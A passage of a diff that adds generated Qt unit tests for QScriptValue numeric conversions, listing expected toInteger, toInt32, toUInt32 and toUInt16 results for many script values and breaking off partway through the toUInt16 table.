+        toInteger.insert("QScriptValue(qSNaN())", 0);
+        toInteger.insert("QScriptValue(qQNaN())", 0);
+        toInteger.insert("QScriptValue(qInf())", qInf());
+        toInteger.insert("QScriptValue(-qInf())", qInf());
+        toInteger.insert("QScriptValue(\"NaN\")", 0);
+        toInteger.insert("QScriptValue(\"Infinity\")", qInf());
+        toInteger.insert("QScriptValue(\"-Infinity\")", qInf());
+        toInteger.insert("QScriptValue(\"ciao\")", 0);
+        toInteger.insert("QScriptValue(QString::fromLatin1(\"ciao\"))", 0);
+        toInteger.insert("QScriptValue(QString(\"\"))", 0);
+        toInteger.insert("QScriptValue(QString())", 0);
+        toInteger.insert("QScriptValue(QString(\"0\"))", 0);
+        toInteger.insert("QScriptValue(QString(\"123\"))", 123);
+        toInteger.insert("QScriptValue(QString(\"12.4\"))", 12);
+        toInteger.insert("QScriptValue(0, QScriptValue::UndefinedValue)", 0);
+        toInteger.insert("QScriptValue(0, QScriptValue::NullValue)", 0);
+        toInteger.insert("QScriptValue(0, true)", 1);
+        toInteger.insert("QScriptValue(0, false)", 0);
+        toInteger.insert("QScriptValue(0, int(122))", 122);
+        toInteger.insert("QScriptValue(0, uint(124))", 124);
+        toInteger.insert("QScriptValue(0, 0)", 0);
+        toInteger.insert("QScriptValue(0, 0.0)", 0);
+        toInteger.insert("QScriptValue(0, 123.0)", 123);
+        toInteger.insert("QScriptValue(0, 6.37e-8)", 0);
+        toInteger.insert("QScriptValue(0, -6.37e-8)", 0);
+        toInteger.insert("QScriptValue(0, 0x43211234)", 1126240820);
+        toInteger.insert("QScriptValue(0, 0x10000)", 65536);
+        toInteger.insert("QScriptValue(0, 0x10001)", 65537);
+        toInteger.insert("QScriptValue(0, qSNaN())", 0);
+        toInteger.insert("QScriptValue(0, qQNaN())", 0);
+        toInteger.insert("QScriptValue(0, qInf())", qInf());
+        toInteger.insert("QScriptValue(0, -qInf())", qInf());
+        toInteger.insert("QScriptValue(0, \"NaN\")", 0);
+        toInteger.insert("QScriptValue(0, \"Infinity\")", qInf());
+        toInteger.insert("QScriptValue(0, \"-Infinity\")", qInf());
+        toInteger.insert("QScriptValue(0, \"ciao\")", 0);
+        toInteger.insert("QScriptValue(0, QString::fromLatin1(\"ciao\"))", 0);
+        toInteger.insert("QScriptValue(0, QString(\"\"))", 0);
+        toInteger.insert("QScriptValue(0, QString())", 0);
+        toInteger.insert("QScriptValue(0, QString(\"0\"))", 0);
+        toInteger.insert("QScriptValue(0, QString(\"123\"))", 123);
+        toInteger.insert("QScriptValue(0, QString(\"12.3\"))", 12);
+        toInteger.insert("QScriptValue(engine, QScriptValue::UndefinedValue)", 0);
+        toInteger.insert("QScriptValue(engine, QScriptValue::NullValue)", 0);
+        toInteger.insert("QScriptValue(engine, true)", 1);
+        toInteger.insert("QScriptValue(engine, false)", 0);
+        toInteger.insert("QScriptValue(engine, int(122))", 122);
+        toInteger.insert("QScriptValue(engine, uint(124))", 124);
+        toInteger.insert("QScriptValue(engine, 0)", 0);
+        toInteger.insert("QScriptValue(engine, 0.0)", 0);
+        toInteger.insert("QScriptValue(engine, 123.0)", 123);
+        toInteger.insert("QScriptValue(engine, 6.37e-8)", 0);
+        toInteger.insert("QScriptValue(engine, -6.37e-8)", 0);
+        toInteger.insert("QScriptValue(engine, 0x43211234)", 1126240820);
+        toInteger.insert("QScriptValue(engine, 0x10000)", 65536);
+        toInteger.insert("QScriptValue(engine, 0x10001)", 65537);
+        toInteger.insert("QScriptValue(engine, qSNaN())", 0);
+        toInteger.insert("QScriptValue(engine, qQNaN())", 0);
+        toInteger.insert("QScriptValue(engine, qInf())", qInf());
+        toInteger.insert("QScriptValue(engine, -qInf())", qInf());
+        toInteger.insert("QScriptValue(engine, \"NaN\")", 0);
+        toInteger.insert("QScriptValue(engine, \"Infinity\")", qInf());
+        toInteger.insert("QScriptValue(engine, \"-Infinity\")", qInf());
+        toInteger.insert("QScriptValue(engine, \"ciao\")", 0);
+        toInteger.insert("QScriptValue(engine, QString::fromLatin1(\"ciao\"))", 0);
+        toInteger.insert("QScriptValue(engine, QString(\"\"))", 0);
+        toInteger.insert("QScriptValue(engine, QString())", 0);
+        toInteger.insert("QScriptValue(engine, QString(\"0\"))", 0);
+        toInteger.insert("QScriptValue(engine, QString(\"123\"))", 123);
+        toInteger.insert("QScriptValue(engine, QString(\"1.23\"))", 1);
+        toInteger.insert("engine->evaluate(\"[]\")", 0);
+        toInteger.insert("engine->evaluate(\"{}\")", 0);
+        toInteger.insert("engine->evaluate(\"Object.prototype\")", 0);
+        toInteger.insert("engine->evaluate(\"Date.prototype\")", 0);
+        toInteger.insert("engine->evaluate(\"Array.prototype\")", 0);
+        toInteger.insert("engine->evaluate(\"Function.prototype\")", 0);
+        toInteger.insert("engine->evaluate(\"Error.prototype\")", 0);
+        toInteger.insert("engine->evaluate(\"Object\")", 0);
+        toInteger.insert("engine->evaluate(\"Array\")", 0);
+        toInteger.insert("engine->evaluate(\"Number\")", 0);
+        toInteger.insert("engine->evaluate(\"Function\")", 0);
+        toInteger.insert("engine->evaluate(\"(function() { return 1; })\")", 0);
+        toInteger.insert("engine->evaluate(\"(function() { return 'ciao'; })\")", 0);
+        toInteger.insert("engine->evaluate(\"(function() { throw new Error('foo'); })\")", 0);
+        toInteger.insert("engine->evaluate(\"/foo/\")", 0);
+        toInteger.insert("engine->evaluate(\"new Object()\")", 0);
+        toInteger.insert("engine->evaluate(\"new Array()\")", 0);
+        toInteger.insert("engine->evaluate(\"new Error()\")", 0);
+        toInteger.insert("engine->evaluate(\"a = new Object(); a.foo = 22; a.foo\")", 22);
+        toInteger.insert("engine->evaluate(\"Undefined\")", 0);
+        toInteger.insert("engine->evaluate(\"Null\")", 0);
+        toInteger.insert("engine->evaluate(\"True\")", 0);
+        toInteger.insert("engine->evaluate(\"False\")", 0);
+        toInteger.insert("engine->evaluate(\"undefined\")", 0);
+        toInteger.insert("engine->evaluate(\"null\")", 0);
+        toInteger.insert("engine->evaluate(\"true\")", 1);
+        toInteger.insert("engine->evaluate(\"false\")", 0);
+        toInteger.insert("engine->evaluate(\"122\")", 122);
+        toInteger.insert("engine->evaluate(\"124\")", 124);
+        toInteger.insert("engine->evaluate(\"0\")", 0);
+        toInteger.insert("engine->evaluate(\"0.0\")", 0);
+        toInteger.insert("engine->evaluate(\"123.0\")", 123);
+        toInteger.insert("engine->evaluate(\"6.37e-8\")", 0);
+        toInteger.insert("engine->evaluate(\"-6.37e-8\")", 0);
+        toInteger.insert("engine->evaluate(\"0x43211234\")", 1126240820);
+        toInteger.insert("engine->evaluate(\"0x10000\")", 65536);
+        toInteger.insert("engine->evaluate(\"0x10001\")", 65537);
+        toInteger.insert("engine->evaluate(\"NaN\")", 0);
+        toInteger.insert("engine->evaluate(\"Infinity\")", qInf());
+        toInteger.insert("engine->evaluate(\"-Infinity\")", qInf());
+        toInteger.insert("engine->evaluate(\"'ciao'\")", 0);
+        toInteger.insert("engine->evaluate(\"''\")", 0);
+        toInteger.insert("engine->evaluate(\"'0'\")", 0);
+        toInteger.insert("engine->evaluate(\"'123'\")", 123);
+        toInteger.insert("engine->evaluate(\"'12.4'\")", 12);
+        toInteger.insert("engine->nullValue()", 0);
+        toInteger.insert("engine->undefinedValue()", 0);
+    }
+    newRow(expr) << toInteger.value(expr);
+}
+
+void tst_QScriptValue::toInteger_test(const char*, const QScriptValue& value)
+{
+    QFETCH(qsreal, expected);
+    if (qIsInf(expected)) {
+        QVERIFY(qIsInf(value.toInteger()));
+        QVERIFY(qIsInf(value.toInteger()));
+        return;
+    }
+    QCOMPARE(value.toInteger(), expected);
+    QCOMPARE(value.toInteger(), expected);
+}
+
+DEFINE_TEST_FUNCTION(toInteger)
+
+
+void tst_QScriptValue::toInt32_initData()
+{
+    QTest::addColumn<qint32>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::toInt32_makeData(const char* expr)
+{
+    static QHash<QString, qint32> toInt32;
+    if (toInt32.isEmpty()) {
+        toInt32.insert("QScriptValue()", 0);
+        toInt32.insert("QScriptValue(QScriptValue::UndefinedValue)", 0);
+        toInt32.insert("QScriptValue(QScriptValue::NullValue)", 0);
+        toInt32.insert("QScriptValue(true)", 1);
+        toInt32.insert("QScriptValue(false)", 0);
+        toInt32.insert("QScriptValue(int(122))", 122);
+        toInt32.insert("QScriptValue(uint(124))", 124);
+        toInt32.insert("QScriptValue(0)", 0);
+        toInt32.insert("QScriptValue(0.0)", 0);
+        toInt32.insert("QScriptValue(123.0)", 123);
+        toInt32.insert("QScriptValue(6.37e-8)", 0);
+        toInt32.insert("QScriptValue(-6.37e-8)", 0);
+        toInt32.insert("QScriptValue(0x43211234)", 1126240820);
+        toInt32.insert("QScriptValue(0x10000)", 65536);
+        toInt32.insert("QScriptValue(0x10001)", 65537);
+        toInt32.insert("QScriptValue(qSNaN())", 0);
+        toInt32.insert("QScriptValue(qQNaN())", 0);
+        toInt32.insert("QScriptValue(qInf())", 0);
+        toInt32.insert("QScriptValue(-qInf())", 0);
+        toInt32.insert("QScriptValue(\"NaN\")", 0);
+        toInt32.insert("QScriptValue(\"Infinity\")", 0);
+        toInt32.insert("QScriptValue(\"-Infinity\")", 0);
+        toInt32.insert("QScriptValue(\"ciao\")", 0);
+        toInt32.insert("QScriptValue(QString::fromLatin1(\"ciao\"))", 0);
+        toInt32.insert("QScriptValue(QString(\"\"))", 0);
+        toInt32.insert("QScriptValue(QString())", 0);
+        toInt32.insert("QScriptValue(QString(\"0\"))", 0);
+        toInt32.insert("QScriptValue(QString(\"123\"))", 123);
+        toInt32.insert("QScriptValue(QString(\"12.4\"))", 12);
+        toInt32.insert("QScriptValue(0, QScriptValue::UndefinedValue)", 0);
+        toInt32.insert("QScriptValue(0, QScriptValue::NullValue)", 0);
+        toInt32.insert("QScriptValue(0, true)", 1);
+        toInt32.insert("QScriptValue(0, false)", 0);
+        toInt32.insert("QScriptValue(0, int(122))", 122);
+        toInt32.insert("QScriptValue(0, uint(124))", 124);
+        toInt32.insert("QScriptValue(0, 0)", 0);
+        toInt32.insert("QScriptValue(0, 0.0)", 0);
+        toInt32.insert("QScriptValue(0, 123.0)", 123);
+        toInt32.insert("QScriptValue(0, 6.37e-8)", 0);
+        toInt32.insert("QScriptValue(0, -6.37e-8)", 0);
+        toInt32.insert("QScriptValue(0, 0x43211234)", 1126240820);
+        toInt32.insert("QScriptValue(0, 0x10000)", 65536);
+        toInt32.insert("QScriptValue(0, 0x10001)", 65537);
+        toInt32.insert("QScriptValue(0, qSNaN())", 0);
+        toInt32.insert("QScriptValue(0, qQNaN())", 0);
+        toInt32.insert("QScriptValue(0, qInf())", 0);
+        toInt32.insert("QScriptValue(0, -qInf())", 0);
+        toInt32.insert("QScriptValue(0, \"NaN\")", 0);
+        toInt32.insert("QScriptValue(0, \"Infinity\")", 0);
+        toInt32.insert("QScriptValue(0, \"-Infinity\")", 0);
+        toInt32.insert("QScriptValue(0, \"ciao\")", 0);
+        toInt32.insert("QScriptValue(0, QString::fromLatin1(\"ciao\"))", 0);
+        toInt32.insert("QScriptValue(0, QString(\"\"))", 0);
+        toInt32.insert("QScriptValue(0, QString())", 0);
+        toInt32.insert("QScriptValue(0, QString(\"0\"))", 0);
+        toInt32.insert("QScriptValue(0, QString(\"123\"))", 123);
+        toInt32.insert("QScriptValue(0, QString(\"12.3\"))", 12);
+        toInt32.insert("QScriptValue(engine, QScriptValue::UndefinedValue)", 0);
+        toInt32.insert("QScriptValue(engine, QScriptValue::NullValue)", 0);
+        toInt32.insert("QScriptValue(engine, true)", 1);
+        toInt32.insert("QScriptValue(engine, false)", 0);
+        toInt32.insert("QScriptValue(engine, int(122))", 122);
+        toInt32.insert("QScriptValue(engine, uint(124))", 124);
+        toInt32.insert("QScriptValue(engine, 0)", 0);
+        toInt32.insert("QScriptValue(engine, 0.0)", 0);
+        toInt32.insert("QScriptValue(engine, 123.0)", 123);
+        toInt32.insert("QScriptValue(engine, 6.37e-8)", 0);
+        toInt32.insert("QScriptValue(engine, -6.37e-8)", 0);
+        toInt32.insert("QScriptValue(engine, 0x43211234)", 1126240820);
+        toInt32.insert("QScriptValue(engine, 0x10000)", 65536);
+        toInt32.insert("QScriptValue(engine, 0x10001)", 65537);
+        toInt32.insert("QScriptValue(engine, qSNaN())", 0);
+        toInt32.insert("QScriptValue(engine, qQNaN())", 0);
+        toInt32.insert("QScriptValue(engine, qInf())", 0);
+        toInt32.insert("QScriptValue(engine, -qInf())", 0);
+        toInt32.insert("QScriptValue(engine, \"NaN\")", 0);
+        toInt32.insert("QScriptValue(engine, \"Infinity\")", 0);
+        toInt32.insert("QScriptValue(engine, \"-Infinity\")", 0);
+        toInt32.insert("QScriptValue(engine, \"ciao\")", 0);
+        toInt32.insert("QScriptValue(engine, QString::fromLatin1(\"ciao\"))", 0);
+        toInt32.insert("QScriptValue(engine, QString(\"\"))", 0);
+        toInt32.insert("QScriptValue(engine, QString())", 0);
+        toInt32.insert("QScriptValue(engine, QString(\"0\"))", 0);
+        toInt32.insert("QScriptValue(engine, QString(\"123\"))", 123);
+        toInt32.insert("QScriptValue(engine, QString(\"1.23\"))", 1);
+        toInt32.insert("engine->evaluate(\"[]\")", 0);
+        toInt32.insert("engine->evaluate(\"{}\")", 0);
+        toInt32.insert("engine->evaluate(\"Object.prototype\")", 0);
+        toInt32.insert("engine->evaluate(\"Date.prototype\")", 0);
+        toInt32.insert("engine->evaluate(\"Array.prototype\")", 0);
+        toInt32.insert("engine->evaluate(\"Function.prototype\")", 0);
+        toInt32.insert("engine->evaluate(\"Error.prototype\")", 0);
+        toInt32.insert("engine->evaluate(\"Object\")", 0);
+        toInt32.insert("engine->evaluate(\"Array\")", 0);
+        toInt32.insert("engine->evaluate(\"Number\")", 0);
+        toInt32.insert("engine->evaluate(\"Function\")", 0);
+        toInt32.insert("engine->evaluate(\"(function() { return 1; })\")", 0);
+        toInt32.insert("engine->evaluate(\"(function() { return 'ciao'; })\")", 0);
+        toInt32.insert("engine->evaluate(\"(function() { throw new Error('foo'); })\")", 0);
+        toInt32.insert("engine->evaluate(\"/foo/\")", 0);
+        toInt32.insert("engine->evaluate(\"new Object()\")", 0);
+        toInt32.insert("engine->evaluate(\"new Array()\")", 0);
+        toInt32.insert("engine->evaluate(\"new Error()\")", 0);
+        toInt32.insert("engine->evaluate(\"a = new Object(); a.foo = 22; a.foo\")", 22);
+        toInt32.insert("engine->evaluate(\"Undefined\")", 0);
+        toInt32.insert("engine->evaluate(\"Null\")", 0);
+        toInt32.insert("engine->evaluate(\"True\")", 0);
+        toInt32.insert("engine->evaluate(\"False\")", 0);
+        toInt32.insert("engine->evaluate(\"undefined\")", 0);
+        toInt32.insert("engine->evaluate(\"null\")", 0);
+        toInt32.insert("engine->evaluate(\"true\")", 1);
+        toInt32.insert("engine->evaluate(\"false\")", 0);
+        toInt32.insert("engine->evaluate(\"122\")", 122);
+        toInt32.insert("engine->evaluate(\"124\")", 124);
+        toInt32.insert("engine->evaluate(\"0\")", 0);
+        toInt32.insert("engine->evaluate(\"0.0\")", 0);
+        toInt32.insert("engine->evaluate(\"123.0\")", 123);
+        toInt32.insert("engine->evaluate(\"6.37e-8\")", 0);
+        toInt32.insert("engine->evaluate(\"-6.37e-8\")", 0);
+        toInt32.insert("engine->evaluate(\"0x43211234\")", 1126240820);
+        toInt32.insert("engine->evaluate(\"0x10000\")", 65536);
+        toInt32.insert("engine->evaluate(\"0x10001\")", 65537);
+        toInt32.insert("engine->evaluate(\"NaN\")", 0);
+        toInt32.insert("engine->evaluate(\"Infinity\")", 0);
+        toInt32.insert("engine->evaluate(\"-Infinity\")", 0);
+        toInt32.insert("engine->evaluate(\"'ciao'\")", 0);
+        toInt32.insert("engine->evaluate(\"''\")", 0);
+        toInt32.insert("engine->evaluate(\"'0'\")", 0);
+        toInt32.insert("engine->evaluate(\"'123'\")", 123);
+        toInt32.insert("engine->evaluate(\"'12.4'\")", 12);
+        toInt32.insert("engine->nullValue()", 0);
+        toInt32.insert("engine->undefinedValue()", 0);
+    }
+    newRow(expr) << toInt32.value(expr);
+}
+
+void tst_QScriptValue::toInt32_test(const char*, const QScriptValue& value)
+{
+    QFETCH(qint32, expected);
+    QCOMPARE(value.toInt32(), expected);
+    QCOMPARE(value.toInt32(), expected);
+}
+
+DEFINE_TEST_FUNCTION(toInt32)
+
+
+void tst_QScriptValue::toUInt32_initData()
+{
+    QTest::addColumn<quint32>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::toUInt32_makeData(const char* expr)
+{
+    static QHash<QString, quint32> toUInt32;
+    if (toUInt32.isEmpty()) {
+        toUInt32.insert("QScriptValue()", 0);
+        toUInt32.insert("QScriptValue(QScriptValue::UndefinedValue)", 0);
+        toUInt32.insert("QScriptValue(QScriptValue::NullValue)", 0);
+        toUInt32.insert("QScriptValue(true)", 1);
+        toUInt32.insert("QScriptValue(false)", 0);
+        toUInt32.insert("QScriptValue(int(122))", 122);
+        toUInt32.insert("QScriptValue(uint(124))", 124);
+        toUInt32.insert("QScriptValue(0)", 0);
+        toUInt32.insert("QScriptValue(0.0)", 0);
+        toUInt32.insert("QScriptValue(123.0)", 123);
+        toUInt32.insert("QScriptValue(6.37e-8)", 0);
+        toUInt32.insert("QScriptValue(-6.37e-8)", 0);
+        toUInt32.insert("QScriptValue(0x43211234)", 1126240820);
+        toUInt32.insert("QScriptValue(0x10000)", 65536);
+        toUInt32.insert("QScriptValue(0x10001)", 65537);
+        toUInt32.insert("QScriptValue(qSNaN())", 0);
+        toUInt32.insert("QScriptValue(qQNaN())", 0);
+        toUInt32.insert("QScriptValue(qInf())", 0);
+        toUInt32.insert("QScriptValue(-qInf())", 0);
+        toUInt32.insert("QScriptValue(\"NaN\")", 0);
+        toUInt32.insert("QScriptValue(\"Infinity\")", 0);
+        toUInt32.insert("QScriptValue(\"-Infinity\")", 0);
+        toUInt32.insert("QScriptValue(\"ciao\")", 0);
+        toUInt32.insert("QScriptValue(QString::fromLatin1(\"ciao\"))", 0);
+        toUInt32.insert("QScriptValue(QString(\"\"))", 0);
+        toUInt32.insert("QScriptValue(QString())", 0);
+        toUInt32.insert("QScriptValue(QString(\"0\"))", 0);
+        toUInt32.insert("QScriptValue(QString(\"123\"))", 123);
+        toUInt32.insert("QScriptValue(QString(\"12.4\"))", 12);
+        toUInt32.insert("QScriptValue(0, QScriptValue::UndefinedValue)", 0);
+        toUInt32.insert("QScriptValue(0, QScriptValue::NullValue)", 0);
+        toUInt32.insert("QScriptValue(0, true)", 1);
+        toUInt32.insert("QScriptValue(0, false)", 0);
+        toUInt32.insert("QScriptValue(0, int(122))", 122);
+        toUInt32.insert("QScriptValue(0, uint(124))", 124);
+        toUInt32.insert("QScriptValue(0, 0)", 0);
+        toUInt32.insert("QScriptValue(0, 0.0)", 0);
+        toUInt32.insert("QScriptValue(0, 123.0)", 123);
+        toUInt32.insert("QScriptValue(0, 6.37e-8)", 0);
+        toUInt32.insert("QScriptValue(0, -6.37e-8)", 0);
+        toUInt32.insert("QScriptValue(0, 0x43211234)", 1126240820);
+        toUInt32.insert("QScriptValue(0, 0x10000)", 65536);
+        toUInt32.insert("QScriptValue(0, 0x10001)", 65537);
+        toUInt32.insert("QScriptValue(0, qSNaN())", 0);
+        toUInt32.insert("QScriptValue(0, qQNaN())", 0);
+        toUInt32.insert("QScriptValue(0, qInf())", 0);
+        toUInt32.insert("QScriptValue(0, -qInf())", 0);
+        toUInt32.insert("QScriptValue(0, \"NaN\")", 0);
+        toUInt32.insert("QScriptValue(0, \"Infinity\")", 0);
+        toUInt32.insert("QScriptValue(0, \"-Infinity\")", 0);
+        toUInt32.insert("QScriptValue(0, \"ciao\")", 0);
+        toUInt32.insert("QScriptValue(0, QString::fromLatin1(\"ciao\"))", 0);
+        toUInt32.insert("QScriptValue(0, QString(\"\"))", 0);
+        toUInt32.insert("QScriptValue(0, QString())", 0);
+        toUInt32.insert("QScriptValue(0, QString(\"0\"))", 0);
+        toUInt32.insert("QScriptValue(0, QString(\"123\"))", 123);
+        toUInt32.insert("QScriptValue(0, QString(\"12.3\"))", 12);
+        toUInt32.insert("QScriptValue(engine, QScriptValue::UndefinedValue)", 0);
+        toUInt32.insert("QScriptValue(engine, QScriptValue::NullValue)", 0);
+        toUInt32.insert("QScriptValue(engine, true)", 1);
+        toUInt32.insert("QScriptValue(engine, false)", 0);
+        toUInt32.insert("QScriptValue(engine, int(122))", 122);
+        toUInt32.insert("QScriptValue(engine, uint(124))", 124);
+        toUInt32.insert("QScriptValue(engine, 0)", 0);
+        toUInt32.insert("QScriptValue(engine, 0.0)", 0);
+        toUInt32.insert("QScriptValue(engine, 123.0)", 123);
+        toUInt32.insert("QScriptValue(engine, 6.37e-8)", 0);
+        toUInt32.insert("QScriptValue(engine, -6.37e-8)", 0);
+        toUInt32.insert("QScriptValue(engine, 0x43211234)", 1126240820);
+        toUInt32.insert("QScriptValue(engine, 0x10000)", 65536);
+        toUInt32.insert("QScriptValue(engine, 0x10001)", 65537);
+        toUInt32.insert("QScriptValue(engine, qSNaN())", 0);
+        toUInt32.insert("QScriptValue(engine, qQNaN())", 0);
+        toUInt32.insert("QScriptValue(engine, qInf())", 0);
+        toUInt32.insert("QScriptValue(engine, -qInf())", 0);
+        toUInt32.insert("QScriptValue(engine, \"NaN\")", 0);
+        toUInt32.insert("QScriptValue(engine, \"Infinity\")", 0);
+        toUInt32.insert("QScriptValue(engine, \"-Infinity\")", 0);
+        toUInt32.insert("QScriptValue(engine, \"ciao\")", 0);
+        toUInt32.insert("QScriptValue(engine, QString::fromLatin1(\"ciao\"))", 0);
+        toUInt32.insert("QScriptValue(engine, QString(\"\"))", 0);
+        toUInt32.insert("QScriptValue(engine, QString())", 0);
+        toUInt32.insert("QScriptValue(engine, QString(\"0\"))", 0);
+        toUInt32.insert("QScriptValue(engine, QString(\"123\"))", 123);
+        toUInt32.insert("QScriptValue(engine, QString(\"1.23\"))", 1);
+        toUInt32.insert("engine->evaluate(\"[]\")", 0);
+        toUInt32.insert("engine->evaluate(\"{}\")", 0);
+        toUInt32.insert("engine->evaluate(\"Object.prototype\")", 0);
+        toUInt32.insert("engine->evaluate(\"Date.prototype\")", 0);
+        toUInt32.insert("engine->evaluate(\"Array.prototype\")", 0);
+        toUInt32.insert("engine->evaluate(\"Function.prototype\")", 0);
+        toUInt32.insert("engine->evaluate(\"Error.prototype\")", 0);
+        toUInt32.insert("engine->evaluate(\"Object\")", 0);
+        toUInt32.insert("engine->evaluate(\"Array\")", 0);
+        toUInt32.insert("engine->evaluate(\"Number\")", 0);
+        toUInt32.insert("engine->evaluate(\"Function\")", 0);
+        toUInt32.insert("engine->evaluate(\"(function() { return 1; })\")", 0);
+        toUInt32.insert("engine->evaluate(\"(function() { return 'ciao'; })\")", 0);
+        toUInt32.insert("engine->evaluate(\"(function() { throw new Error('foo'); })\")", 0);
+        toUInt32.insert("engine->evaluate(\"/foo/\")", 0);
+        toUInt32.insert("engine->evaluate(\"new Object()\")", 0);
+        toUInt32.insert("engine->evaluate(\"new Array()\")", 0);
+        toUInt32.insert("engine->evaluate(\"new Error()\")", 0);
+        toUInt32.insert("engine->evaluate(\"a = new Object(); a.foo = 22; a.foo\")", 22);
+        toUInt32.insert("engine->evaluate(\"Undefined\")", 0);
+        toUInt32.insert("engine->evaluate(\"Null\")", 0);
+        toUInt32.insert("engine->evaluate(\"True\")", 0);
+        toUInt32.insert("engine->evaluate(\"False\")", 0);
+        toUInt32.insert("engine->evaluate(\"undefined\")", 0);
+        toUInt32.insert("engine->evaluate(\"null\")", 0);
+        toUInt32.insert("engine->evaluate(\"true\")", 1);
+        toUInt32.insert("engine->evaluate(\"false\")", 0);
+        toUInt32.insert("engine->evaluate(\"122\")", 122);
+        toUInt32.insert("engine->evaluate(\"124\")", 124);
+        toUInt32.insert("engine->evaluate(\"0\")", 0);
+        toUInt32.insert("engine->evaluate(\"0.0\")", 0);
+        toUInt32.insert("engine->evaluate(\"123.0\")", 123);
+        toUInt32.insert("engine->evaluate(\"6.37e-8\")", 0);
+        toUInt32.insert("engine->evaluate(\"-6.37e-8\")", 0);
+        toUInt32.insert("engine->evaluate(\"0x43211234\")", 1126240820);
+        toUInt32.insert("engine->evaluate(\"0x10000\")", 65536);
+        toUInt32.insert("engine->evaluate(\"0x10001\")", 65537);
+        toUInt32.insert("engine->evaluate(\"NaN\")", 0);
+        toUInt32.insert("engine->evaluate(\"Infinity\")", 0);
+        toUInt32.insert("engine->evaluate(\"-Infinity\")", 0);
+        toUInt32.insert("engine->evaluate(\"'ciao'\")", 0);
+        toUInt32.insert("engine->evaluate(\"''\")", 0);
+        toUInt32.insert("engine->evaluate(\"'0'\")", 0);
+        toUInt32.insert("engine->evaluate(\"'123'\")", 123);
+        toUInt32.insert("engine->evaluate(\"'12.4'\")", 12);
+        toUInt32.insert("engine->nullValue()", 0);
+        toUInt32.insert("engine->undefinedValue()", 0);
+    }
+    newRow(expr) << toUInt32.value(expr);
+}
+
+void tst_QScriptValue::toUInt32_test(const char*, const QScriptValue& value)
+{
+    QFETCH(quint32, expected);
+    QCOMPARE(value.toUInt32(), expected);
+    QCOMPARE(value.toUInt32(), expected);
+}
+
+DEFINE_TEST_FUNCTION(toUInt32)
+
+
+void tst_QScriptValue::toUInt16_initData()
+{
+    QTest::addColumn<quint16>("expected");
+    initScriptValues();
+}
+
+void tst_QScriptValue::toUInt16_makeData(const char* expr)
+{
+    static QHash<QString, quint16> toUInt16;
+    if (toUInt16.isEmpty()) {
+        toUInt16.insert("QScriptValue()", 0);
+        toUInt16.insert("QScriptValue(QScriptValue::UndefinedValue)", 0);
+        toUInt16.insert("QScriptValue(QScriptValue::NullValue)", 0);
+        toUInt16.insert("QScriptValue(true)", 1);
+        toUInt16.insert("QScriptValue(false)", 0);
+        toUInt16.insert("QScriptValue(int(122))", 122);
+        toUInt16.insert("QScriptValue(uint(124))", 124);
+        toUInt16.insert("QScriptValue(0)", 0);
+        toUInt16.insert("QScriptValue(0.0)", 0);
+        toUInt16.insert("QScriptValue(123.0)", 123);
+        toUInt16.insert("QScriptValue(6.37e-8)", 0);
+        toUInt16.insert("QScriptValue(-6.37e-8)", 0);
+        toUInt16.insert("QScriptValue(0x43211234)", 4660);
+        toUInt16.insert("QScriptValue(0x10000)", 0);
+        toUInt16.insert("QScriptValue(0x10001)", 1);
+        toUInt16.insert("QScriptValue(qSNaN())", 0);
+        toUInt16.insert("QScriptValue(qQNaN())", 0);
+        toUInt16.insert("QScriptValue(qInf())", 0);
+        toUInt16.insert("QScriptValue(-qInf())", 0);
+        toUInt16.insert("QScriptValue(\"NaN\")", 0);
+        toUInt16.insert("QScriptValue(\"Infinity\")", 0);
+        toUInt16.insert("QScriptValue(\"-Infinity\")", 0);
+        toUInt16.insert("QScriptValue(\"ciao\")", 0);
+        toUInt16.insert("QScriptValue(QString::fromLatin1(\"ciao\"))", 0);
+        toUInt16.insert("QScriptValue(QString(\"\"))", 0);
+        toUInt16.insert("QScriptValue(QString())", 0);
+        toUInt16.insert("QScriptValue(QString(\"0\"))", 0);
+        toUInt16.insert("QScriptValue(QString(\"123\"))", 123);
+        toUInt16.insert("QScriptValue(QString(\"12.4\"))", 12);
+        toUInt16.insert("QScriptValue(0, QScriptValue::UndefinedValue)", 0);
+        toUInt16.insert("QScriptValue(0, QScriptValue::NullValue)", 0);
+        toUInt16.insert("QScriptValue(0, true)", 1);
+        toUInt16.insert("QScriptValue(0, false)", 0);
+        toUInt16.insert("QScriptValue(0, int(122))", 122);
+        toUInt16.insert("QScriptValue(0, uint(124))", 124);
+        toUInt16.insert("QScriptValue(0, 0)", 0);
+        toUInt16.insert("QScriptValue(0, 0.0)", 0);
+        toUInt16.insert("QScriptValue(0, 123.0)", 123);
+        toUInt16.insert("QScriptValue(0, 6.37e-8)", 0);
+        toUInt16.insert("QScriptValue(0, -6.37e-8)", 0);
+        toUInt16.insert("QScriptValue(0, 0x43211234)", 4660);
+        toUInt16.insert("QScriptValue(0, 0x10000)", 0);
+        toUInt16.insert("QScriptValue(0, 0x10001)", 1);
+        toUInt16.insert("QScriptValue(0, qSNaN())", 0);
+        toUInt16.insert("QScriptValue(0, qQNaN())", 0);
+        toUInt16.insert("QScriptValue(0, qInf())", 0);
+        toUInt16.insert("QScriptValue(0, -qInf())", 0);
+        toUInt16.insert("QScriptValue(0, \"NaN\")", 0);
+        toUInt16.insert("QScriptValue(0, \"Infinity\")", 0);
+        toUInt16.insert("QScriptValue(0, \"-Infinity\")", 0);
+        toUInt16.insert("QScriptValue(0, \"ciao\")", 0);
+        toUInt16.insert("QScriptValue(0, QString::fromLatin1(\"ciao\"))", 0);
+        toUInt16.insert("QScriptValue(0, QString(\"\"))", 0);
+        toUInt16.insert("QScriptValue(0, QString())", 0);
+        toUInt16.insert("QScriptValue(0, QString(\"0\"))", 0);
+        toUInt16.insert("QScriptValue(0, QString(\"123\"))", 123);
+        toUInt16.insert("QScriptValue(0, QString(\"12.3\"))", 12);
+        toUInt16.insert("QScriptValue(engine, QScriptValue::UndefinedValue)", 0);
+        toUInt16.insert("QScriptValue(engine, QScriptValue::NullValue)", 0);
+        toUInt16.insert("QScriptValue(engine, true)", 1);
+        toUInt16.insert("QScriptValue(engine, false)", 0);
+        toUInt16.insert("QScriptValue(engine, int(122))", 122);
+        toUInt16.insert("QScriptValue(engine, uint(124))", 124);
+        toUInt16.insert("QScriptValue(engine, 0)", 0);
+        toUInt16.insert("QScriptValue(engine, 0.0)", 0);
+        toUInt16.insert("QScriptValue(engine, 123.0)", 123);
+        toUInt16.insert("QScriptValue(engine, 6.37e-8)", 0);
